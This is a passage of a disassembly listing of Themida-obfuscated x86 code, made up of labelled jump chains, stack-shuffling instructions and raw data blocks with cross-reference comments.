		dw 2489h
		dd 0E073E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5573EE:				; CODE XREF: Themida_:005553ADj
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_5578A6
; ---------------------------------------------------------------------------
		db 56h,	68h, 0E7h
		dd 8B21362Dh, 54502434h, 0FFB1CAE9h, 77F581FFh,	55553D26h
		dd 0D240481h, 0E974D44Dh, 0FFFFE88Ah, 0E958ED80h, 0FFFFDE0Ah
		dd 0B4240489h, 0C2B5E938h, 7C68FFFFh, 54000076h, 8324048Fh
		dd 5E042404h, 8904EC83h, 0AFB82404h, 0E97BE50Eh, 0FFFF69E7h
		dd 2414F755h, 0FF91C4E9h, 51045BFFh, 241C8B66h,	81E38953h
		dd 4C3h, 2C38100h, 87000000h, 805C241Ch, 6BE9E9EBh, 68FFFF60h
		dd 5CE4h, 0E9243489h, 0FFFFAD45h, 0E92434FFh, 0FFFF50B4h
		dd 0ECEBE957h, 0D800FFFFh, 2868DB04h, 89000076h, 0BCB3241Ch
		dd 4EC81h, 4890000h, 0E930B024h, 0FFFF5017h, 4246C29h
		dd 2404295Dh, 97240481h
		db 44h,	27h, 74h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 0AF20523h
		jmp	loc_554833
; ---------------------------------------------------------------------------

loc_5574E1:				; CODE XREF: Themida_:00551FDEj
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_555D4C
; ---------------------------------------------------------------------------
		dd 33E3B850h, 0E90D7729h, 2D52112Ch, 77393FE9h,	8758C101h
		dd 248B240Ch, 48B6624h,	0A04CE924h, 34FFFFFFh, 0B2E95924h
		dd 0FFFFFF7Bh, 5F042474h, 0FF807BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55752D:				; CODE XREF: Themida_:00556995j
		xor	ecx, edi
		mov	edi, [esp]
		jmp	loc_550625
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 4C68300h, 5C243487h, 0EE5E9h, 26C0BF00h, 534F6568h
		dd 0ED3927BBh, 73E94B3Ch
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55755B:				; CODE XREF: Themida_:005532EDj
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54EE1D
; ---------------------------------------------------------------------------

loc_55756D:				; CODE XREF: Themida_:0054C91Dj
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ecx
		push	esp
		jmp	loc_54E9D4
; ---------------------------------------------------------------------------

loc_55757A:				; CODE XREF: Themida_:00557801j
		sub	ebx, 9EE2125Eh
		mov	edi, ebx
		pop	ebx
		add	edi, eax
		pop	eax
		mov	edx, edi
		pop	edi
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_553488
		push	dword ptr [edi+28h]
		jmp	loc_550F67
; ---------------------------------------------------------------------------
		dd 415DE921h, 0FFAE55E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5575A5:				; CODE XREF: Themida_:00554843j
		add	ebp, 4
		jmp	loc_55855A
; ---------------------------------------------------------------------------

loc_5575B0:				; CODE XREF: Themida_:005507C7j
		add	ecx, 8417F75h
		pop	edx
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		jmp	loc_54D1C1
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 0DC6B850h, 0E8D16174h, 0FFECFCE9h, 241C89FFh, 0C53B6EBBh
		dd 245C016Eh, 241C8B04h, 4C481h, 4010000h, 242C8124h, 6EC53B6Eh
		dd 61242C81h, 687DDC79h, 43BDh,	0FF5C33E9h, 4C681FFh, 83000000h
		dd 348704EEh, 0E9FCE924h, 433FFFFh, 24043124h, 8B240433h
		dd 6B682424h, 89000072h, 8956240Ch, 0FFD3E9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557632:				; CODE XREF: Themida_:00556419j
		pop	edi
		xor	edi, 61150E7Eh
		jmp	loc_5562A3
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 89502404h, 405E0h, 53560000h, 2BBh, 0D8895000h, 89C58955h
		dd 0C0F1E9EEh, 5453FFFFh, 0E9241C8Bh, 0FFFF7E2Ah, 4342B850h
		dd 0C2015427h, 0FF75E1E9h, 0FFEA80FFh, 0E901C280h, 0FFFFFB8Bh
		dd 0FB30BB0Dh, 2435403Eh, 1305D3Fh, 875858C3h, 0E95C241Ch
		dd 0FFFF4BB8h, 9A601C2Dh, 6BB9516Fh, 14EF86Ch, 84E8E9C8h
		dd 8B66FFFFh, 41E92424h, 58FFFF4Bh, 2894BB53h, 0F381748Ch
		dd 748C2890h, 505BD801h, 405E089h, 52000000h, 4BAh, 5AD02900h
		dd 0FFCE10E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5576D9:				; CODE XREF: Themida_:0054C24Bj
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		push	ebx
		mov	ebx, 47E849FFh
		inc	ebx
		or	ebx, 36330F97h
		jmp	loc_54DC58
; ---------------------------------------------------------------------------
		dd 9068F001h, 89000026h, 0AABF243Ch, 81308E2Eh,	8B02EEF7h
		dd 4E7C15Bh, 3CC3EF81h,	0C7811974h, 1C4228C1h, 4023EF81h
		dd 93E94A24h
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557733:				; CODE XREF: Themida_:0054CACFj
		mov	cl, 0FFh
		jmp	loc_557D87
; ---------------------------------------------------------------------------
		dw 885Bh
		dd 91E959CCh, 83FFFF51h, 0E1E902C4h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55774B:				; CODE XREF: Themida_:0054C7A7j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	esi
		mov	esi, 611C129Bh
		neg	esi
		add	esi, 17D071B7h
		or	esi, 74723E34h
		shl	esi, 3
		shl	esi, 1
		add	esi, 90980C5Ch
		mov	edx, esi
		pop	esi
		jmp	loc_55241E
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 4C481h, 14870000h, 24248B24h, 9C240CFFh, 0FF4A63E9h
		dd 80AAB5FFh, 4FE9C4C5h, 0C1FFFF7Fh, 0EDC106EDh, 95F58102h
		dd 2936857Eh, 89565DE8h, 4B850E6h, 1000000h, 0EB6BE9C6h
		dd 0D008FFFFh, 0FF6512E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5577C1:				; CODE XREF: Themida_:0054CFAFj
		push	eax
		mov	al, 61h
		jmp	loc_553C3F
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 97h
		dd 8150596Dh, 985437C1h, 47C18137h, 1534017h, 47E981D1h
		dd 0E9534017h, 0FFFF4ECCh
; ---------------------------------------------------------------------------

loc_5577E8:				; CODE XREF: Themida_:00552304j
		mov	edx, 800h
		jmp	loc_54C242
; ---------------------------------------------------------------------------

loc_5577F2:				; CODE XREF: Themida_:0054FBF5j
		sub	ebp, 43F3F6C8h
		sub	ebx, ebp
		pop	ebp
		add	ebx, 25F7365Fh
		jmp	loc_55757A
; ---------------------------------------------------------------------------
		dw 0EA29h
		dd 81242C8Bh, 4C4h, 24148700h, 51FCE95Ch, 5452FFFFh, 5224148Bh
		dd 0C281E289h, 4, 4C281h, 14870000h, 0C2815C24h, 4, 508E9h
		dd 5BDE8900h, 7688E981h, 0F1013FEDh, 4EC81h, 1C890000h
		dd 7688BB24h, 0C1813FEDh, 10DB442Bh, 8BE9D901h,	29FFFFF0h
		dd 2C335BDDh, 242C3124h, 0E9242C33h, 0FFFFB26Fh, 6B2EF8BBh
		dd 0EEC38162h, 31FC8B24h, 241C8BDDh, 4C481h, 0F5810000h
		dd 31053E1Eh, 0E2E9EB01h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------

loc_557897:				; CODE XREF: Themida_:0054F467j
		add	esp, 4
		push	cx
		mov	ch, 57h
		jmp	loc_54CA87
; ---------------------------------------------------------------------------

loc_5578A6:				; CODE XREF: Themida_:005573F4j
		pop	esp
		mov	[esp], edi
		jmp	loc_54ECDA
; ---------------------------------------------------------------------------
		db 0BAh
		dd 10AB9182h, 895AD189h, 0CFE959CAh
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5578BF:				; CODE XREF: Themida_:0054F869j
		mov	[esp], eax
		mov	eax, 4
		sub	ecx, 198A5A01h
		add	ecx, eax
		add	ecx, 198A5A01h
		mov	eax, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_54E2F6
; ---------------------------------------------------------------------------
		dw 148Bh
aHi		db '$h›',0Bh,0
		align 2
		dw 489h
		dd 0D23EE924h, 248BFFFFh, 48F6E924h, 8B66FFFFh,	2D68240Ch
		dd 8900004Bh, 0E568241Ch, 8900001Ah, 4832424h, 0E95B0424h
		dd 0FFFFEBFEh
; ---------------------------------------------------------------------------

loc_55791C:				; CODE XREF: Themida_:0054FCACj
		pop	esp
		jmp	loc_550DD7
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 0FF6966E9h, 4C481FFh, 33000000h, 2C31242Ch
		dd 242C3324h, 6624248Bh, 9C240CD3h, 0FF48ABE9h,	48A6E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55794E:				; CODE XREF: Themida_:00558492j
		mov	edx, [esp]
		push	54AFh
		mov	[esp], ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 245E2A66h
		add	ecx, 1
		inc	ecx
		sub	ecx, 245E2A64h
		add	ebp, 0B7A7724h
		add	ebp, ecx
		sub	ebp, 0B7A7724h
		pop	ecx
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_54E5AC
; ---------------------------------------------------------------------------
		dw 0FE01h
		dd 6F9BEE81h, 0C6817C4Ch, 12763519h, 81DE015Fh,	5B6F2AEEh
		dd 0BF575B21h, 4, 0E95FFE01h, 0FFFF5AB6h, 0EE5FFDBFh, 0E9F92940h
		dd 0FFFFC038h, 31241C33h, 1C33241Ch, 6CB0E924h,	0FB2DFFFFh
		dd 138F06Fh, 24048BC5h,	4C481h,	96E90000h
		db 5Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5579EF:				; CODE XREF: Themida_:00553504j
		push	eax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_558302
; ---------------------------------------------------------------------------
		db 2Dh
		dd 76531866h, 83241C8Bh, 20504C4h, 0E9000000h, 0FFFFB620h
; ---------------------------------------------------------------------------

loc_557A10:				; CODE XREF: Themida_:005556A7j
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_54C208
; ---------------------------------------------------------------------------
		dw 0F029h
		dd 0B4776705h, 80E95E44h, 0B5FFFFD7h, 80CDFE63h, 0EB8873EDh
		dd 66D80059h, 5351535Bh, 0D988C5B3h, 7E9C05Bh, 0D1F6C9FEh
		dd 8877C180h, 686659CFh, 89663B28h, 75E92404h, 68FFFF83h
		dd 1D77h, 83242489h, 0FF042404h, 93E92434h
		db 51h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557A6B:				; CODE XREF: Themida_:00556C89j
		xchg	ebp, [esp]
		pop	esp
		push	eax
		push	esi
		mov	esi, 431319CBh
		jmp	loc_5582D4
; ---------------------------------------------------------------------------

loc_557A7B:				; CODE XREF: Themida_:00551F19j
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mul	ecx
		push	7869h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_54C1F4
; ---------------------------------------------------------------------------
		dw 4BEh
		dd 1000000h, 24348BF7h,	4C481h,	8CE90000h, 31000005h, 0B269E9FBh
		dd 0D501FFFFh, 965C581h, 875A781Eh, 575C242Ch, 0BBE9E789h
		dd 89FFFFC5h, 71BA52E5h, 0E925D103h, 2D6h
; ---------------------------------------------------------------------------

loc_557AD4:				; CODE XREF: Themida_:00555BF7j
		push	ebx
		mov	ebx, 0A7956E9h
		jmp	loc_54DFCA
; ---------------------------------------------------------------------------
		db 5Bh
		dd 8006EAC0h, 0D02836C2h, 0E92434FFh, 0FFFFAA8Bh, 685253ADh
		dd 219C3E6Ah, 0FFF80BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557AFD:				; CODE XREF: Themida_:0055267Aj
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	ebx
		jmp	loc_55214C
; ---------------------------------------------------------------------------
		db 81h
		dd 0A70060EEh, 81C60136h, 0A70060C6h, 0F858E936h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557B36:				; CODE XREF: Themida_:0054DA06j
		sub	edx, 42B5497Dh
		xor	edx, 0E2A7F494h
		add	eax, edx
		pop	edx
		jmp	loc_555EA2
; ---------------------------------------------------------------------------

loc_557B4A:				; CODE XREF: Themida_:005547F5j
		pop	eax
		xor	ch, 0DBh
		not	ch
		or	ch, 3Dh
		push	edx
		mov	dh, 8Bh
		or	dh, 1Ch
		sub	dh, 7Ch
		jmp	loc_558370
; ---------------------------------------------------------------------------
		db 68h,	0DCh, 77h
		dd 0EC830000h, 24248904h, 4240483h, 8324048Fh, 8B042404h
		dd 0C4832404h, 4BE5604h, 0E9000000h, 0FFFF7099h, 0B9240C89h
		dd 0
		dd 30428F51h, 592434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 581D5F9Eh
		shl	esi, 1
		shl	esi, 1
		shl	esi, 2
		inc	esi
		jmp	loc_550463
; ---------------------------------------------------------------------------
		dw 535Ch
		dd 15E9E389h, 89FFFF51h, 4C281E2h, 83000000h, 148704C2h
		dd 86685C24h, 89000004h, 0F8B9240Ch, 495E8605h,	0FA0DC181h
		dd 0C681A179h, 0A716F62h, 0FF6DEDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557BED:				; CODE XREF: Themida_:00552A79j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_553BE3
; ---------------------------------------------------------------------------
		db 55h
		dd 84026EBDh, 52DDF771h, 0FE0D65BAh, 0E9F28111h, 296C6D84h
		dd 0C3815AD5h, 20017943h, 730C381h, 0C38116F9h,	38F769Fh
		dd 0D9E9EB29h, 89FFFF93h, 0EE815AD3h, 7E642161h, 0FF568AE9h
		dd 3C895CFFh, 40C7BF24h, 0E5E96DB3h, 89FFFFD4h,	2B682404h
		dd 5818D36Eh, 0B0AEE25h, 3E8C140h, 0B1382435h, 809AE949h
		dd 8F5CFFFFh, 665C2404h, 9C240CFFh, 0FFA72AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557C79:				; CODE XREF: Themida_:0054C9F0j
		inc	ebp
		push	ecx
		mov	ecx, 126E0452h
		jmp	loc_552CB4
; ---------------------------------------------------------------------------

loc_557C85:				; CODE XREF: Themida_:00550172j
		add	edx, ecx
		pop	ecx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		push	5555h
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_555399
; ---------------------------------------------------------------------------

loc_557CA7:				; CODE XREF: Themida_:00552101j
		pop	ebx
		add	edx, 4
		jmp	loc_557EBA
; ---------------------------------------------------------------------------
		dd 0E924048Fh, 0FFFF722Ch
; ---------------------------------------------------------------------------

loc_557CB8:				; CODE XREF: Themida_:0054CE89j
		pop	esi
		jmp	loc_55319A
; ---------------------------------------------------------------------------
		dw 159h
		dd 5466E9D7h, 34FFFFFFh, 0C4835E24h, 24048704h,	6624248Bh
		dd 2404BB0Fh, 4516E99Ch, 2BAFFFFh, 1000000h, 4335AD0h
		dd 24043124h, 8B240433h, 8B662424h, 21E9240Ch, 50FFFF86h
		dd 0BB55AB4h, 3DE9E500h, 0C1FFFF7Eh, 0F70D04E0h, 0E94B3318h
		dd 0FFFFB3DFh, 43E2B951h, 0C1495F67h, 82E908E9h, 0E9FFFFE2h
		dd 0FFFF44CCh
; ---------------------------------------------------------------------------

loc_557D28:				; CODE XREF: Themida_:0055648Dj
		push	esi
		mov	esi, 7D892219h
		sub	esi, 3461C3DCh
		or	ebx, esi
		pop	esi
		sub	ebx, 0B99AA907h
		mov	[edi+20h], ebx
		jmp	loc_5539AD
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 0FFFFE9B2h, 1C381h, 0C3810000h, 44992641h
		dd 0E908E3C1h, 0FFFFF031h
; ---------------------------------------------------------------------------

loc_557D64:				; CODE XREF: Themida_:00555E56j
		add	edx, 4
		jmp	loc_5565E1
; ---------------------------------------------------------------------------

loc_557D6C:				; CODE XREF: Themida_:00555F60j
		sub	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_54F04F
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 4C481h, 2E90000h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557D87:				; CODE XREF: Themida_:00557735j
		sub	dh, cl
		jmp	loc_5518AE
; ---------------------------------------------------------------------------
		dw 0F530h
		dd 8324148Bh, 2E904C4h,	4FFFFABh, 2CD82873h, 0B7536673h
		dd 0E4D7E9D4h, 0EAC1FFFFh, 0BF575002h, 21A376C9h, 0FF74C9E9h
		dd 4EC83FFh, 0BE243489h, 25175737h, 0E904E6C1h,	0FFFF8BDEh
; ---------------------------------------------------------------------------

loc_557DCC:				; CODE XREF: Themida_:005562C1j
		push	esi
		jmp	loc_556BE1
; ---------------------------------------------------------------------------
		dw 0CF30h
		dd 0FFA224E9h, 5DE831FFh, 0E9C38953h, 0FFFFEBF1h, 4EE9C328h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557DEB:				; CODE XREF: Themida_:0054C331j
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	7E75h
		mov	[esp], eax
		jmp	loc_551E89
; ---------------------------------------------------------------------------
		dw 481h
		dd 7F301F24h, 243C2936h, 1F242C81h, 0E9367F30h,	0FFFFB3D7h
		dd 661DC380h, 8124148Bh, 2C4h, 0C0B60F00h, 87048F66h, 0FF43C7E9h
		dd 0C5895AFFh, 0FFC220E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557E35:				; CODE XREF: Themida_:0054E574j
		pop	esp
		jmp	loc_556EC3
; ---------------------------------------------------------------------------

loc_557E3B:				; CODE XREF: Themida_:005531B5j
		push	6368h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	dword ptr [esp]
		push	ebx
		xchg	esi, [esp]
		not	esi
		xchg	esi, [esp]
		mov	ebx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_54E880
; ---------------------------------------------------------------------------
		dw 0EA29h
		dd 6F84EA81h, 0C15D454Dh, 0E95505EAh, 0FFFFC51Ah, 4EC8159h
		dd 89000000h, 0C6882414h, 5A287788h, 2434FF58h,	0FF8DF5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557E9D:				; CODE XREF: Themida_:0054D90Aj
		push	dword ptr [esp]
		pop	edi
		push	ecx
		jmp	loc_54DB16
; ---------------------------------------------------------------------------
a_h		db '_hÂ[',0
		dd 24348900h, 42474FFh,	672BE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557EBA:				; CODE XREF: Themida_:00557CABj
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_54EF84
; ---------------------------------------------------------------------------
		db 51h,	54h, 59h
		dd 4C181h, 5E90000h, 0FFFFFFA8h, 34FF2434h, 0EC835824h
		dd 243C8904h, 0C781E789h, 4, 4C781h, 8BE90000h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557EFF:				; CODE XREF: Themida_:0054D3ABj
		push	34826A6Bh
		jmp	loc_556779
; ---------------------------------------------------------------------------
		db 1, 0D8h, 5
		dd 37D37BF5h, 5B2434FFh, 6804C483h, 5793h, 0E9243C89h
		dd 0FFFF9CA2h, 5006E5C1h, 1D1980B8h, 0E9C52935h, 0FFFFBF5Dh
; ---------------------------------------------------------------------------

loc_557F34:				; CODE XREF: Themida_:0055025Aj
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_552994
; ---------------------------------------------------------------------------
		db 66h,	50h, 9Ch
		dd 0FF42ABE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557F49:				; CODE XREF: Themida_:0054F2CDj
		sub	esi, 94B755Ah
		jmp	loc_54D779
; ---------------------------------------------------------------------------
		dd 1DEE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_557F5A:				; CODE XREF: Themida_:0054DE54j
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	[esp], al
		pushf
		jmp	loc_54C1F4
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4C581h, 0ED810000h, 4, 5C242C87h, 52240489h,	0F488DE88h
		dd 0FFEAA7E9h, 241C8BFFh, 0FF4BFBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557F99:				; CODE XREF: Themida_:00551EE0j
		not	edi
		jmp	loc_5518D5
; ---------------------------------------------------------------------------

loc_557FA0:				; CODE XREF: Themida_:005509C1j
		dec	ah
		dec	ah
		shl	ah, 8
		sub	ah, 0AFh
		jmp	loc_552625
; ---------------------------------------------------------------------------
		db 81h
		dd 7876A0EDh, 81DDF70Bh, 0A5EFAAC5h, 0A2A2E968h, 8B66FFFFh
		dd 68552404h, 4423h, 56242489h,	4BEh, 24740100h, 93E95E04h
		dd 89FFFF6Eh, 0E189240Ch, 7CBBBB53h, 0D3F754ECh, 0FF7A45E9h
		dd 59CE01FFh, 8704C683h, 55E92434h, 5DFFFFD4h, 5004C483h
		dd 4B8h, 58C20100h, 3E8E9h, 4EC8100h, 89000000h, 90E92434h
		dd 1FFFFBAh, 2434FFD9h,	0E789575Bh, 0FF839BE9h,	5DE829FFh
		dd 0C3E9C601h, 83FFFF41h, 1C8904ECh, 0EC57E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558042:				; CODE XREF: Themida_:0055048Bj
		pop	ebp
		xchg	ebx, [esp]
		jmp	loc_553AA9
; ---------------------------------------------------------------------------
		db 0FEh
		dd 0C0D6F6C6h, 0EE8002E6h, 0FFF52012h, 0E95A2434h, 0FFFF6111h
		dd 8958C631h, 2434FFF7h, 8324348Bh, 0C48104C4h,	4, 0FFEAE8E9h
		dd 242C89FFh, 0FF9D98E9h, 242489FFh, 4240483h, 5A19E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55808E:				; CODE XREF: Themida_:005503EAj
		jz	loc_54EFE7
		push	3FDEh
		mov	[esp], ebp
		jmp	loc_5533B2
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 91h
		dd 5384F093h, 0A3243481h, 5D2BF765h, 65A3F581h,	295B2BF7h
		dd 5E95DE8h, 0C1FFFF90h, 6806EEh, 29000000h, 815E2434h
		dd 0B0D181EEh, 5EF531FBh, 335DE801h, 4312404h, 0D7C1E924h
		dd 0C481FFFFh, 4, 0FF8293E9h, 0CF815FFFh, 147B17B0h, 0A3B9C781h
		dd 0FB89906Dh, 0FFEFE4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558101:				; CODE XREF: Themida_:00555F44j
		add	ecx, 59875D4Ah
		add	ecx, esi
		sub	ecx, 59875D4Ah
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_551B2B
; ---------------------------------------------------------------------------
		db 81h,	0CFh, 26h
		dd 815E424Fh, 3326F4CFh, 5C78138h, 1800C80h, 0E9525FFBh
		dd 0FFFF7C00h, 0DA10E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55813E:				; CODE XREF: Themida_:0054DB46j
		add	ecx, 29D2E2Bh
		mov	esi, ecx
		jmp	loc_55035A
; ---------------------------------------------------------------------------

loc_55814B:				; CODE XREF: Themida_:0054E1CEj
		pop	edx
		push	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		push	4DECh
		mov	[esp], eax
		mov	eax, 64241E2Dh
		sub	eax, 150D01EEh
		jmp	loc_54E937
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FF042474h, 34FF2434h, 0C4835824h, 4EC8104h,	89000000h
		dd 0E789243Ch, 4C781h, 0EF810000h, 4, 5C243C87h, 0FFEDB7E9h
		dd 32FF66FFh, 0FFE148E9h, 0A3E953FFh, 83FFFF5Eh, 0EC8104C4h
		dd 4, 54242C89h, 4C5815Dh, 81000000h, 4EDh, 242C3300h
		dd 33242C31h, 0CDE9242Ch, 81FFFFCEh, 0C662A0C6h, 6EEC17Bh
		dd 4D1EE81h, 0F101C26Fh, 4EC835Eh, 68243489h, 168B4E5Bh
		dd 4EEC15Eh, 0FFE89DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558201:				; CODE XREF: Themida_:0054E5A7j
		add	esi, 6FF124B8h
		add	esi, 310A7727h
		jmp	loc_54F2BE
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 243C8904h, 453F93BFh, 0FAEF8118h, 5026E820h,	684E7BB8h
		dd 0C52EE937h, 0DD88FFFFh, 241C8B66h, 4EC81h, 0C2E90000h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55823F:				; CODE XREF: Themida_:005510EBj
		push	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 64A93F25h
		dec	ebx
		add	ebx, 0DA1C21AEh
		mov	eax, ebx
		jmp	loc_5505E9
; ---------------------------------------------------------------------------
		dd 0ACC9E958h, 835FFFFFh, 0ED8104C4h, 4, 5C242C87h, 0E9240489h
		dd 4Ah,	66C3FE58h, 3077B551h, 444DE9EBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558286:				; CODE XREF: Themida_:0054D9FBj
		not	ebx
		jmp	loc_54FDB6
; ---------------------------------------------------------------------------
		db 29h,	0DDh, 8Bh
		dd 10E9241Ch
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558297:				; CODE XREF: Themida_:00550306j
		add	[esp], ax
		pushf
		jmp	loc_556D58
; ---------------------------------------------------------------------------
		db 0E9h, 4Eh, 3Fh
		dd 1C89FFFFh, 80F9B724h, 9468FFEFh, 89000033h, 0E4B22414h
		dd 664DE280h, 0F0C1E950h, 2DE9FFFFh, 89FFFF3Fh,	5468241Ch
		dd 0E9000037h, 0FFFF7E40h
; ---------------------------------------------------------------------------

loc_5582D4:				; CODE XREF: Themida_:00557A76j
		mov	eax, esi
		pop	esi
		neg	eax
		shl	eax, 1
		and	eax, 15BE46E9h
		jmp	loc_551D7D
; ---------------------------------------------------------------------------
		align 2
		dw 50C3h
		dd 0FF5421E9h, 52504DFFh, 8B44FCBAh, 774EE947h,	15CFFFFh
		dd 0E41DE9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558302:				; CODE XREF: Themida_:005579F6j
		mov	ecx, 6FF66477h
		jmp	loc_54C2CF
; ---------------------------------------------------------------------------
		dd 405h, 2C08300h, 0FFF2FDE9h, 48B66FFh, 7D685024h, 89000053h
		dd 55502424h, 380787BDh, 83ED8114h, 89143807h, 7EE95DE8h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55833B:				; CODE XREF: Themida_:0055507Cj
		push	dword ptr [esp]
		pop	esi
		push	esi
		jmp	loc_554F98
; ---------------------------------------------------------------------------
		db 0BDh, 2 dup(0)
		dd 46E90000h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55834F:				; CODE XREF: Themida_:00554907j
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		not	eax
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5520AB
; ---------------------------------------------------------------------------

loc_558370:				; CODE XREF: Themida_:00557B5Cj
		sub	ch, dh
		pop	edx
		add	al, 0E6h
		sub	al, ch
		push	ebx
		mov	bl, 0FEh
		inc	bl
		neg	bl
		sub	bl, 1Bh
		sub	al, bl
		jmp	loc_555ED9
; ---------------------------------------------------------------------------

loc_558388:				; CODE XREF: Themida_:00552737j
		not	edx
		jmp	loc_557290
; ---------------------------------------------------------------------------
		db 89h
		dd 0B252240Ch, 80C2FEDEh, 0F28072CAh, 80CAFE73h, 0D188B0F2h
		dd 8850665Ah, 88D0F6C8h, 0F65866C1h, 85C180D1h,	8059CE88h
		dd 516691EEh, 0EE0001B5h, 0CEFE5966h, 0FFBDBDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5583C9:				; CODE XREF: Themida_:00555074j
		and	ebp, 16E47107h
		shr	ebp, 4
		jmp	loc_55047D
